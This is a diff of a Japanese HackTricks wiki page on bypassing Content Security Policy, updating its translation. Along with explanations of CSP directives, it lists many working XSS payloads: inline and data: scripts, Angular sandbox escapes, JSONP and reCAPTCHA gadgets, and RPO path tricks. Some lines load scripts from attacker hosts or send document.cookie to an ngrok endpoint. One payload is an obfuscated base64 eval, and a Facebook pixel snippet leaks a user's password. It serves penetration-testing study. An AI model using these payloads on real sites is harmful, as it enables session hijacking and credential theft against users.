@ -1,31 +1,31 @@
# コンテンツセキュリティポリシー (CSP) バイパス
# Content Security Policy (CSP) Bypass
{{#include ../../banners/hacktricks-training.md}}
## CSPとは
コンテンツセキュリティポリシー (CSP) は、主に**クロスサイトスクリプティング (XSS) などの攻撃から保護するためのブラウザ技術**として認識されています。これは、ブラウザがリソースを安全に読み込むことができるパスとソースを定義し、詳細に説明することによって機能します。これらのリソースには、画像、フレーム、JavaScriptなどのさまざまな要素が含まれます。たとえば、ポリシーは、同じドメイン (self) からのリソースの読み込みと実行を許可することがあり、インラインリソースや `eval``setTimeout``setInterval` のような関数を通じて文字列コードの実行を含むことがあります。
Content Security Policy (CSP) はブラウザ技術として認識されており、主に **cross-site scripting (XSS) のような攻撃からの防御** を目的としています。CSPはブラウザが安全にリソースを読み込めるパスやソースを定義・指定することで機能します。これらのリソースには、画像、フレーム、JavaScript などが含まれます。例えば、ポリシーは同一ドメイン(self)からのリソースの読み込みと実行を許可したり、インラインリソースや `eval``setTimeout``setInterval` のような関数を通じた文字列コードの実行を許可する場合があります。
CSPの実装は、**レスポンスヘッダー**を通じて、または**HTMLページにメタ要素を組み込むことによって**行われます。このポリシーに従い、ブラウザはこれらの規定を積極的に施行し、検出された違反を直ちにブロックします。
CSP の実装は **response headers** を通じて、または HTML ページに **meta 要素を組み込む**ことで行われます。このポリシーに従い、ブラウザはこれらの規定を積極的に強制し、検出された違反を即座にブロックします。
- レスポンスヘッダーを介して実装される:
- Implemented via response header:
```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
- メタタグを介して実装された:
- メタタグで実装されています:
```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
### ヘッダー
CSPはこれらのヘッダーを使用して強制または監視できます:
CSP は以下のヘッダーで強制またはモニタリングできます:
- `Content-Security-Policy`: CSPを強制します; ブラウザは違反をブロックします
- `Content-Security-Policy-Report-Only`: 監視用に使用されます; 違反を報告しますが、ブロックはしません。プレプロダクション環境でのテストに最適です
- `Content-Security-Policy`: CSP を強制する。ブラウザは違反をブロックする
- `Content-Security-Policy-Report-Only`: モニタリング用に使用する。違反をブロックせずに報告する。本番前の環境でのテストに最適
### リソースの定義
CSPは、アクティブおよびパッシブコンテンツの読み込み元を制限し、インラインJavaScriptの実行や`eval()`の使用などの側面を制御します。例のポリシーは次のとおりです:
CSP はアクティブおよびパッシブなコンテンツを読み込むためのオリジンを制限し、インライン JavaScript の実行や `eval()` の使用などを制御する。例としてのポリシーは以下の通り:
```bash
default-src 'none';
img-src 'self';
@ -39,38 +39,38 @@ object-src 'none';
```
### ディレクティブ
- **script-src**: JavaScriptの特定のソースを許可します。これには、URL、インラインスクリプト、イベントハンドラやXSLTスタイルシートによってトリガーされるスクリプトが含まれます。
- **default-src**: 特定のフェッチディレクティブが存在しない場合にリソースを取得するためのデフォルトポリシーを設定します。
- **child-src**: ウェブワーカーや埋め込まれたフレームコンテンツのために許可されたリソースを指定します。
- **connect-src**: fetch、WebSocket、XMLHttpRequestなどのインターフェースを使用して読み込むことができるURLを制限します。
- **script-src**: JavaScriptの特定のソースを許可します。URL、インラインスクリプト、イベントハンドラやXSLTスタイルシートでトリガーされるスクリプトを含みます。
- **default-src**: 特定のフェッチディレクティブがない場合のリソース取得に対するデフォルトポリシーを設定します。
- **child-src**: web workerや埋め込みフレームのコンテンツに対して許可されるリソースを指定します。
- **connect-src**: fetch、WebSocket、XMLHttpRequestのようなインターフェイスで読み込めるURLを制限します。
- **frame-src**: フレームのためのURLを制限します。
- **frame-ancestors**: 現在のページを埋め込むことができるソースを指定します。これは、`<frame>``<iframe>``<object>``<embed>`、および`<applet>`のような要素に適用されます
- **img-src**: 画像のために許可されたソースを定義します。
- **font-src**: `@font-face`を使用して読み込まれるフォントのための有効なソースを指定します。
- **manifest-src**: アプリケーションマニフェストファイルのために許可されたソースを定義します。
- **media-src**: メディアオブジェクトを読み込むために許可されたソースを定義します。
- **object-src**: `<object>``<embed>`、および`<applet>`要素のために許可されたソースを定義します。
- **base-uri**: `<base>`要素を使用して読み込むために許可されたURLを指定します。
- **form-action**: フォーム送信のための有効なエンドポイントをリストします。
- **plugin-types**: ページが呼び出すことができるmimeタイプを制限します。
- **frame-ancestors**: 現在のページを埋め込めるソースを指定します(`<frame>`, `<iframe>`, `<object>`, `<embed>`, `<applet>` 等に適用)
- **img-src**: 画像の許可ソースを定義します。
- **font-src**: `@font-face` を使って読み込まれるフォントの有効なソースを指定します。
- **manifest-src**: アプリケーションマニフェストファイルの許可ソースを定義します。
- **media-src**: メディアオブジェクトを読み込むための許可ソースを定義します。
- **object-src**: `<object>`, `<embed>`, `<applet>` 要素の許可ソースを定義します。
- **base-uri**: `<base>` 要素での読み込みに許可されるURLを指定します。
- **form-action**: フォーム送信の有効なエンドポイントを列挙します。
- **plugin-types**: ページが呼び出るmimeタイプを制限します。
- **upgrade-insecure-requests**: ブラウザにHTTP URLをHTTPSに書き換えるよう指示します。
- **sandbox**: `<iframe>`のsandbox属性に似た制限を適用します。
- **report-to**: ポリシーが違反された場合にレポートが送信されるグループを指定します。
- **worker-src**: Worker、SharedWorker、またはServiceWorkerスクリプトのために有効なソースを指定します。
- **prefetch-src**: フェッチまたはプリフェッチされるリソースのために有効なソースを指定します。
- **navigate-to**: ドキュメントがあらゆる手段a、form、window.location、window.openなどでナビゲートできるURLを制限します。
- **sandbox**: `<iframe>` sandbox 属性にた制限を適用します。
- **report-to**: ポリシー違反があった場合にレポートを送るグループを指定します。
- **worker-src**: Worker、SharedWorker、ServiceWorker スクリプトの有効なソースを指定します。
- **prefetch-src**: 取得またはプリフェッチされるリソースの有効なソースを指定します。
- **navigate-to**: ドキュメントが任意の手段a、form、window.location、window.open 等)で遷移できるURLを制限します。
### ソース
- `*`: `data:`, `blob:`, `filesystem:`スキームを除くすべてのURLを許可します。
- `'self'`: 同ドメインからの読み込みを許可します。
- `'data'`: データスキームBase64エンコードされた画像を介してリソースを読み込むことを許可します
- `'none'`: どのソースからの読み込みもブロックします。
- `'unsafe-eval'`: `eval()`や類似のメソッドの使用を許可しますが、セキュリティ上の理由から推奨されません。
- `*`: `data:`, `blob:`, `filesystem:` スキームを持つものを除き、すべてのURLを許可します。
- `'self'`: 同ドメインからの読み込みを許可します。
- `'data'`: dataスキームを介したリソースの読み込みを許可します例: Base64エンコードされた画像
- `'none'`: いかなるソースからの読み込みもブロックします。
- `'unsafe-eval'`: `eval()` や類似のメソッドの使用を許可します。セキュリティ上推奨されません。
- `'unsafe-hashes'`: 特定のインラインイベントハンドラを有効にします。
- `'unsafe-inline'`: インラインリソース(インライン`<script>``<style>`など)の使用を許可しますが、セキュリティ上の理由から推奨されません。
- `'nonce'`: 暗号的なnonce1回限り使用される番号を使用する特定のインラインスクリプトのホワイトリストです。
- JSの実行が制限されている場合、`doc.defaultView.top.document.querySelector("[nonce]")`を使用してページ内の使用済みnonceを取得し、それを再利用して悪意のあるスクリプトを読み込むことが可能ですstrict-dynamicが使用されている場合、許可されたソースは新しいソースを読み込むことができるため、これは必要ありません)。以下のように
- `'unsafe-inline'`: インライン `<script>``<style>` などのインラインリソースの使用を許可します。セキュリティ上推奨されません。
- `'nonce'`: 暗号的nonce一度だけ使われる数を使用して特定のインラインスクリプトをホワイトリスト化します。
- JSの実行が制限されている場合でもページ内から使用済みのnonceを `doc.defaultView.top.document.querySelector("[nonce]")`取得し、それを再利用して悪意のあるスクリプトを読み込むことが可能ですstrict-dynamicが使用されている場合、許可された任意のソースが新しいソースを読み込めるためこれは不要です)、例
<details>
@ -88,26 +88,26 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
```
</details>
- `'sha256-<hash>'`: 特定のsha256ハッシュを持つスクリプトをホワイトリストに追加します。
- `'strict-dynamic'`: nonceまたはハッシュによってホワイトリストに追加された場合、任意のソースからスクリプトを読み込むことを許可します。
- `'host'`: `example.com`のような特定のホストを指定します。
- `https:`: HTTPSを使用するURLに制限します。
- `blob:`: Blob URLJavaScriptを介して作成されたBlob URLからリソースを読み込むことを許可します。
- `filesystem:`: ファイルシステムからリソースを読み込むことを許可します。
- `'report-sample'`: 違反報告に違反コードのサンプルを含めます(デバッグに便利です)。
- `'strict-origin'`: 'self'に似ていますが、ソースのプロトコルセキュリティレベルがドキュメントと一致することを保証します(安全なオリジンのみが安全なオリジンからリソースを読み込むことができます)。
- `'strict-origin-when-cross-origin'`: 同一オリジンリクエストを行う際に完全なURLを送信しますが、クロスオリジンリクエストの場合はオリジンのみを送信します。
- `'unsafe-allow-redirects'`: すぐに別のリソースにリダイレクトされるリソースを読み込むことを許可します。セキュリティを弱めるため推奨されません。
- `'sha256-<hash>'`: 特定の `sha256` ハッシュを持つスクリプトをホワイトリストに登録します。
- `'strict-dynamic'`: nonce や hash によってホワイトリスト登録されていれば、任意のソースからスクリプトをロードできるようにします。
- `'host'`: `example.com` のように特定のホストを指定します。
- `https:`: HTTPS を使用する URL のみに制限します。
- `blob:`: リソースを Blob URL例: JavaScript で作成された Blob URLからロードできるようにします。
- `filesystem:`: ファイルシステムからリソースをロードできるようにします。
- `'report-sample'`: 違反レポートに違反コードのサンプルを含めます(デバッグに有用)。
- `'strict-origin'`: `'self'` と似ていますが、ソースのプロトコルのセキュリティレベルがドキュメントと一致することを保証します(安全なオリジンのみが安全なオリジンからリソースをロードできます)。
- `'strict-origin-when-cross-origin'`: 同一オリジンのリクエストではフル URL を送信しますが、クロスオリジンのリクエストではオリジンのみを送信します。
- `'unsafe-allow-redirects'`: 即座に別のリソースへリダイレクトするようなリソースのロードを許可します。セキュリティを弱めるため推奨されません。
## Unsafe CSP Rules
## 危険な CSP ルール
### 'unsafe-inline'
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
Working payload: `"/><script>alert(1);</script>`
動作するペイロード: `"/><script>alert(1);</script>`
#### self + 'unsafe-inline' via Iframes
#### Iframes 経由の self + 'unsafe-inline'
{{#ref}}
@ -117,30 +117,30 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
### 'unsafe-eval'
> [!CAUTION]
> これは機能していません。詳細については[**こちらを確認してください**](https://github.com/HackTricks-wiki/hacktricks/issues/653)。
> これは動作しません。詳細については [**check this**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
作業ペイロード:
動作する payload:
```html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```
### strict-dynamic
もしあなたが何らかの方法で**許可されたJSコードがあなたのJSコードを含む新しいスクリプトタグをDOMに作成する**ことができれば、許可されたスクリプトがそれを作成しているため、**新しいスクリプトタグは実行を許可される**。
もし何らかの方法で、あなたのJSコードでDOM上に**許可されたJSコードが新しいscript tagを作成する**ようにできれば、許可されたスクリプトがそれを作成しているため、**その新しいscript tagは実行が許可されます**。
### Wildcard (\*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
動作するペイロード:
動作する payload:
```html
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
```
### object-src と default-src の欠如
> [!CAUTION] > **これがもう機能していないようです**
> [!CAUTION] > **これはもはや動作していないようです**
```yaml
Content-Security-Policy: script-src 'self' ;
```
@ -154,30 +154,30 @@ Content-Security-Policy: script-src 'self' ;
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
JSファイルをアップロードできる場合、このCSPをバイパスできます
JSファイルをアップロードできるなら、この CSP をバイパスできます:
動作するペイロード:
動作する payload:
```html
"/>'><script src="/uploads/picture.png.js"></script>
```
しかし、サーバーが**アップロードされたファイルを検証している**可能性が高く、**特定のタイプのファイルのみをアップロードすることを許可する**でしょう
しかし、サーバが**validating the uploaded file**しており、**upload determined type of files**しか許可しない可能性が非常に高いです
さらに、サーバーが受け入れる拡張子を持つファイルに**JSコードを含めてアップロードできたとしても**例えば、_script.png_のように、これは十分ではありません。なぜなら、Apacheサーバーのような一部のサーバーは**拡張子に基づいてファイルのMIMEタイプを選択し**、Chromeのようなブラウザは**画像であるべきものの中にあるJavascript**コードを**実行することを拒否します**。「幸運にも」、間違いがあります。例えば、CTFから学んだことですが、**Apacheは**_**.wave**_拡張子を知らないため、**audio/***のようなMIMEタイプで提供しません
さらに、たとえサーバが受け入れる拡張子(例: _script.png_)を使ってファイル内に**JS code inside**をアップロードできたとしても、それだけでは不十分です。なぜなら、apache server のような一部のサーバは**select MIME type of the file based on the extension**し、Chromeのようなブラウザは画像であるべきものの中のJavascriptを**reject to execute Javascript**するからです。幸いにもミスはあります。例えば、CTFで学んだ例として、**Apache doesn't know** the _**.wave**_ extension、したがってそれを**MIME type like audio/***で配信しない場合があります
ここから、XSSとファイルアップロードを見つけ、**誤解された拡張子**を見つけることができれば、その拡張子を持つファイルとスクリプトの内容をアップロードしようとすることができます。また、サーバーがアップロードされたファイルの正しい形式をチェックしている場合は、ポリグロットを作成することができます([ここにいくつかのポリグロットの例があります](https://github.com/Polydet/polyglot-database))。
ここから、XSS とファイルアップロードの両方が見つかり、**misinterpreted extension**を突き止められれば、その拡張子でスクリプトの内容を含むファイルをアップロードしてみることができます。あるいは、サーバがアップロードされたファイルの正しいフォーマットを検査している場合は、polyglot を作成する([some polyglot examples here](https://github.com/Polydet/polyglot-database))。
### フォームアクション
### Form-action
JSを注入することが不可能な場合でも、例えば資格情報を**フォームアクションを注入することで**流出させることを試みることができます(そして、パスワードマネージャーが自動的にパスワードを入力することを期待するかもしれません)。[**このレポートに例があります**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)ので、確認してください。また、`default-src`はフォームアクションをカバーしていないことに注意してください。
JS を注入できない場合でも、例えば認証情報をexfiltrateするために**injecting a form action**を試みることができます(パスワードマネージャが自動入力することを期待して)。[**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp) を参照してください。また、`default-src` は form actions をカバーしない点に注意してください。
### サードパーティエンドポイント + ('unsafe-eval')
### Third Party Endpoints + ('unsafe-eval')
> [!WARNING]
> 次のペイロードのいくつかに対しては、**`unsafe-eval`は必要ない**場合すらあります
> 一部の以下の payload では **`unsafe-eval` is not even needed**
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
脆弱なバージョンのAngularをロードし、任意のJSを実行します:
脆弱なバージョンの angular を読み込み、任意の JS を実行する:
```xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
@ -198,10 +198,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Angularを使用したペイロード + `window`オブジェクトを返す関数を持つライブラリ ([この投稿をチェックしてください](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
#### Angular + `window` オブジェクトを返す関数を持つライブラリを使った Payloads[この記事を参照](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/):
> [!TIP]
> この投稿では、`cdn.cloudflare.com`または他の許可されたJSライブラリリポジトリからすべての**ライブラリ**を**ロード**し、各ライブラリから追加されたすべての関数を実行し、**どのライブラリのどの関数が`window`オブジェクトを返すか**を確認できることが示されています。
> この記事では、`cdn.cloudflare.com`(または許可されている他の JS ライブラリのリポジトリ)からすべての**ライブラリ**を**ロード**し、各ライブラリで追加された全ての関数を実行して、**どのライブラリのどの関数が `window` オブジェクトを返すか**を確認できることを示しています。
```html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@ -225,15 +225,15 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
{{[].erase.call().alert('xss')}}
</div>
```
クラス名からのAngular XSS:
Angular のクラス名からの XSS:
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
#### Google reCAPTCHA JSコードの悪用
#### google recaptcha JS code を悪用する
[**このCTFの解説**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves)によると、CSP内で[https://www.google.com/recaptcha/](https://www.google.com/recaptcha/)を悪用して、CSPをバイパスし任意のJSコードを実行することができます。
[**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) によると、[https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) を CSP 内で悪用して CSP をバイパスし、任意の JS コードを実行できます:
```html
<div
ng-controller="CarouselController as c"
@ -244,7 +244,7 @@ ng-init="c.init()"
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
より多くの[**この文書からのペイロード**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
さらに [**この writeup の payloads**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
@ -261,21 +261,21 @@ b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
```
#### www.google.comを悪用したオープンリダイレクト
#### www.google.com を悪用した open redirect
次のURLはexample.comにリダイレクトします[こちら](https://www.landh.tech/blog/20240304-google-hack-50000/)から):
次の URL は example.com にリダイレクトします(出典: [here](https://www.landh.tech/blog/20240304-google-hack-50000/):
```
https://www.google.com/amp/s/example.com/
```
\*.google.com/script.google.comの悪用
\*.google.com/script.google.com の悪用
script.google.com内のページで情報を受け取るためにGoogle Apps Scriptを悪用することが可能です。これは[このレポートで行われているように](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/)。
Google Apps Script を悪用して、script.google.com 内のページで情報を受け取ることが可能です。これは [done in this report](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/)。
### サードパーティエンドポイント + JSONP
### サードパーティエンドポイント + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
このようなシナリオでは、`script-src``self`および特定のホワイトリストに登録されたドメインに設定されている場合、JSONPを使用してバイパスできます。JSONPエンドポイントは、安全でないコールバックメソッドを許可し、攻撃者がXSSを実行できるようにします。動作するペイロード
このようなシナリオでは、`script-src``self` に設定され、特定のドメインが whitelisted されている場合、JSONP を使って bypass できます。JSONP endpoints は insecure callback methods を許可しており、攻撃者が XSS を実行できます。working payload:
```html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -289,15 +289,15 @@ https://www.youtube.com/oembed?callback=alert;
```html
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **は、さまざまなウェブサイトのCSPバイパスに使用できるJSONPエンドポイントを含んでいます。**
[**JSONBee**](https://github.com/zigoo0/JSONBee) **さまざまなウェブサイトのCSP bypassに使える準備済みのJSONP endpointsを含んでいます。**
**信頼されたエンドポイントにオープンリダイレクトが含まれている**場合、同じ脆弱性が発生します。なぜなら、初期のエンドポイントが信頼されている場合、リダイレクトも信頼されるからです。
The same vulnerability will occur if the **信頼された endpoint が Open Redirect を含んでいる** because if the initial endpoint is trusted, redirects are trusted.
### 第三者の悪用
### サードパーティの悪用
[以下の投稿](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)で説明されているように、CSPのどこかで許可されている可能性のある多くの第三者ドメインがあり、これらはデータを抽出したり、JavaScriptコードを実行したりするために悪用される可能性があります。これらの第三者の一部は次のとおりです
As described in the [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), CSPのどこかで許可されている可能性がある多くのサードパーティドメインは、データを exfiltrate したり JavaScript を実行したりするために悪用され得ます。これらのサードパーティの一部は以下の通りです:
| エンティティ | 許可されたドメイン | 機能 |
| エンティティ | 許可ドメイン | 機能 |
| ----------------- | -------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
@ -308,9 +308,9 @@ https://www.youtube.com/oembed?callback=alert;
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
ターゲットのCSPに許可されたドメインが見つかった場合、第三者サービスに登録することでCSPをバイパスし、そのサービスにデータを抽出したり、コードを実行したりできる可能性があります。
ターゲットのCSPにこれらの許可ドメインのいずれかが含まれているのを見つけた場合、サードパーティサービスに登録することでCSPをバイパスし、そのサービスへデータを exfiltrate したり、コードを実行したりできる可能性があります。
例えば、次のCSPが見つかった場合
For example, if you find the following CSP:
```
Content-Security-Policy: default-src 'self www.facebook.com;
```
@ -318,80 +318,80 @@ Content-Security-Policy: default-src 'self www.facebook.com;
```
Content-Security-Policy: connect-src www.facebook.com;
```
データを抽出することができるはずです。これは、[Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/)で常に行われてきたのと同様です。この場合、次の一般的な手順に従います。
従来[Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/)で行われてきたのと同様に、exfiltrate data が可能なはずです。今回のケースでは、以下の一般的な手順に従います:
1. ここでFacebook Developerアカウントを作成します。
2. 新しい「Facebook Login」アプリを作成し、「Website」を選択します
3. 「Settings -> Basic」に移動し、「App ID」を取得します
4. データを抽出したいターゲットサイトでは、「customEvent」とデータペイロードを通じてFacebook SDKガジェット「fbq」を直接使用してデータを抽出できます
5. アプリの「Event Manager」に移動し、作成したアプリケーションを選択しますイベントマネージャーは、次のようなURLで見つけることができます: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
6. 「Test Events」タブを選択して、「あなたの」ウェブサイトから送信されるイベントを確認します
1. ここで Facebook Developer アカウントを作成す
2. 新しく "Facebook Login" app を作成し、"Website" を選択する
3. 「Settings -> Basic」に移動して、"App ID" を取得する
4. ターゲットサイトでは、Facebook SDK の gadget "fbq" を直接使用し、"customEvent" と data payload を通じて exfiltrate data することでデータを持ち出すことができる
5. アプリの "Event Manager" に移動して作成したアプリケーションを選択するevent manager は次のような URL で見つかる場合があります: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
6. 「Test Events」タブを選択して、"your" web site から送信されるイベントを確認する
次に、被害者側で、攻撃者のFacebook Developerアカウントのapp-idを指すようにFacebookトラッキングピクセルを初期化し、次のようなカスタムイベントを発行するために以下のコードを実行します。
その後、被害者側では以下のコードを実行して、Facebook tracking pixel を攻撃者の Facebook developer account app-id を指すように初期化し、次のような custom event を発行します:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
前の表に指定された他の7つのサードパーティドメインについては、それらを悪用する方法が他にもたくさんあります。その他のサードパーティの悪用についての追加説明は、以前の[ブログ投稿](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)を参照してください。
前の表で指定された他の7つのサードパーティドメインについては、悪用できる方法が他にも多数あります。その他のサードパーティの悪用に関する追加説明は、以前の [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) を参照してください。
### RPO(相対パス上書き)を介したバイパス <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
### RPO (Relative Path Overwrite) によるバイパス <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
前述のパス制限を回避するためのリダイレクションに加えて、いくつかのサーバーで使用できる相対パス上書きRPOと呼ばれる別の技術があります。
前述のパス制限を回避するためのリダイレクトに加えて、一部のサーバで利用できる Relative Path Overwrite (RPO) と呼ばれる別の手法があります。
たとえば、CSPがパス `https://example.com/scripts/react/` を許可している場合、次のようにバイパスできます:
例えば、CSP が `https://example.com/scripts/react/` へのパスを許可している場合、以下のようにバイパスできます:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
ブラウザは最終的に `https://example.com/scripts/angular/angular.js` を読み込みます。
The browser will ultimately load `https://example.com/scripts/angular/angular.js`.
これは、ブラウザにとって `https://example.com/scripts/react/` の下にある `..%2fangular%2fangular.js` という名前のファイルを読み込んでいるため、CSPに準拠しています。
これは、ブラウザにとって `..%2fangular%2fangular.js` という名前のファイルを `https://example.com/scripts/react/` の下で読み込んでおり、CSP に準拠しているため動作します。
∑、彼らはそれをデコードし、実際には `https://example.com/scripts/react/../angular/angular.js` をリクエストすることになります。これは `https://example.com/scripts/angular/angular.js` と同等です。
ブラウザはそれをデコードし、結果的に `https://example.com/scripts/react/../angular/angular.js` を要求し、これは `https://example.com/scripts/angular/angular.js` と同等になります。
**ブラウザとサーバー間のURL解釈の不一致を利用することで、パスルールをバイパスできます**。
By **exploiting this inconsistency in URL interpretation between the browser and the server, the path rules can be bypassed**.
解決策は、サーバー側で `%2f``/`して扱わないようにし、ブラウザとサーバー間で一貫した解釈を確保してこの問題を回避することです。
解決策は、サーバー側で `%2f``/` と扱わないようにし、ブラウザとサーバー間で解釈を一致させることです。
オンライン例:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Iframes JS 実行
### Iframes JS execution
{{#ref}}
../xss-cross-site-scripting/iframes-in-xss-and-csp.md
{{#endref}}
### **base-uri** が欠落している
### **base-uri** が欠如している場合
**base-uri** ディレクティブが欠落している場合、[**ダングリングマークアップインジェクション**](../dangling-markup-html-scriptless-injection/index.html)を実行するために悪用できます。
If the **base-uri** directive is missing you can abuse it to perform a [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
さらに、**相対パスを使用してスクリプトを読み込んでいるページ**(例えば `<script src="/js/app.js">`)が **Nonce** を使用している場合、**base** **タグ** を悪用して **自分のサーバーからスクリプトを読み込ませ、XSSを達成することができます。**\
脆弱なページが **httpS** で読み込まれている場合、baseにhttpS URLを使用してください。
Moreover, if the **page is loading a script using a relative path** (like `<script src="/js/app.js">`) using a **Nonce**, you can abuse the **base** **tag** to make it **load** the script from **your own server achieving a XSS.**\
If the vulnerable page is loaded with **httpS**, make use an httpS url in the base.
```html
<base href="https://www.attacker.com/" />
```
### AngularJS events
### AngularJS イベント
特定のポリシーであるContent Security Policy (CSP)は、JavaScriptイベントを制限する場合があります。それにもかかわらず、AngularJSは代替としてカスタムイベントを導入します。イベント内で、AngularJSはネイティブブラウザイベントオブジェクトを参照するユニークなオブジェクト`$event`を提供します。この`$event`オブジェクトはCSPを回避するために悪用される可能性があります。特に、Chromeでは、`$event/event`オブジェクトは`path`属性を持ち、イベントの実行チェーンに関与するオブジェクトの配列を保持しており、`window`オブジェクトは常に最後に位置しています。この構造はサンドボックスエスケープ戦術にとって重要です
特定のポリシーである Content Security Policy (CSP) は JavaScript のイベントを制限することがある。しかし AngularJS は代替としてカスタムイベントを提供する。イベント内では AngularJS がネイティブなブラウザイベントオブジェクトを参照する特殊なオブジェクト `$event` を提供する。この `$event` オブジェクトは CSP を回避するために悪用できる。特に Chrome では、`$event/event` オブジェクトが `path` 属性を持ち、イベントの実行チェーンに関与するオブジェクト配列を保持しており、配列の末尾には常に `window` オブジェクトが位置する。この構造は sandbox escape tactics において重要である
この配列を`orderBy`フィルターに渡すことで、反復処理が可能になり、端末要素(`window`オブジェクト)を利用して`alert()`のようなグローバル関数をトリガーできます。以下のコードスニペットはこのプロセスを明示しています:
この配列を `orderBy` フィルタに渡して反復処理することで、末尾の要素(`window` オブジェクト)を利用して `alert()` のようなグローバル関数を呼び出すことができる。以下のコードスニペットはこのプロセスを明す
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
